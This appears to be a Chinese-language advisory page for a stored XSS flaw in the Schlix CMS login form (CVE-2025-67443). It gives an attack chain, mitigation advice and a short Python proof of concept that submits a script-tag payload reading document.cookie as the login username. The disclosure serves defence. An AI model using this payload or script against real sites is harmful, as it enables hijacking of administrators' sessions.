CVE-2025-67443 CVSS 6.1 中危

CVE-2025-67443: Schlix CMS 登录表单XSS漏洞

披露日期: 2025-12-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-67443

漏洞类型

XSS (跨站脚本攻击)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Schlix CMS

漏洞概述

CVE-2025-67443是Schlix CMS中的一个存储型跨站脚本(XSS)漏洞，CVSS评分6.1(中危)。该漏洞存在于Schlix CMS v2.2.9-5之前的版本中，由于登录表单缺乏JavaScript输入清理机制，攻击者可以在登录尝试时注入恶意脚本代码。当管理员查看包含这些错误登录记录的日志时，注入的恶意JavaScript代码将被执行，从而实现会话劫持、凭据窃取或其他恶意操作。此漏洞无需认证即可利用，但需要诱导管理员进行交互操作，如查看日志记录。由于攻击者可以利用登录表单作为攻击向量，且漏洞影响管理后台，建议尽快修复。

技术细节

Schlix CMS在处理登录表单输入时未对用户提交的数据进行充分的JavaScript代码过滤。攻击者可以在登录表单的用户名或密码字段中注入包含<script>标签或JavaScript事件处理器的恶意代码。当登录失败时，这些未经过滤的输入会被存储在系统日志中。当管理员登录管理后台并查看这些日志记录时，浏览器会将存储的恶意代码作为HTML解析并执行，从而触发XSS攻击。攻击者可以利用此漏洞窃取管理员会话cookie、伪造管理界面内容或进行其他基于JavaScript的攻击。由于攻击发生在管理后台，攻击者可能获取管理员权限，对整个CMS系统造成严重影响。

攻击链分析

STEP 1

步骤1

攻击者构造恶意XSS payload，包含JavaScript代码如<script>alert(document.cookie)</script>

STEP 2

步骤2

攻击者向目标Schlix CMS的登录表单提交恶意payload，用户名或密码字段包含XSS代码

STEP 3

步骤3

登录失败后，系统将未经过滤的恶意输入存储在错误登录日志中

STEP 4

步骤4

管理员登录管理后台并查看日志记录时，浏览器解析并执行存储的恶意JavaScript代码

STEP 5

步骤5

攻击者通过XSS成功窃取管理员会话cookie、凭据或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-67443 XSS PoC for Schlix CMS
# Target: Schlix CMS login form
# Vulnerability: Stored XSS via login form

target_url = "http://target-site.com/schlix-admin/"

# Malicious payload - XSS via login form
xss_payload = '<script>alert(document.cookie)</script>'

# Login attempt with XSS payload
login_data = {
    'username': xss_payload,
    'password': 'anypassword',
    'submit': 'Login'
}

try:
    response = requests.post(target_url, data=login_data, timeout=10)
    print(f"[*] XSS payload sent: {xss_payload}")
    print(f"[*] Response status: {response.status_code}")
    print("[*] PoC sent successfully. When admin views logs, XSS will execute.")
except requests.RequestException as e:
    print(f"[!] Error: {e}")

影响范围

Schlix CMS < v2.2.9-5

防御指南

临时缓解措施

在官方修复版本发布前，可通过在Web服务器层面配置输入过滤规则，拦截包含script标签和javascript:协议等XSS特征的请求。同时限制管理后台日志的直接访问权限，仅允许授权管理员查看。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表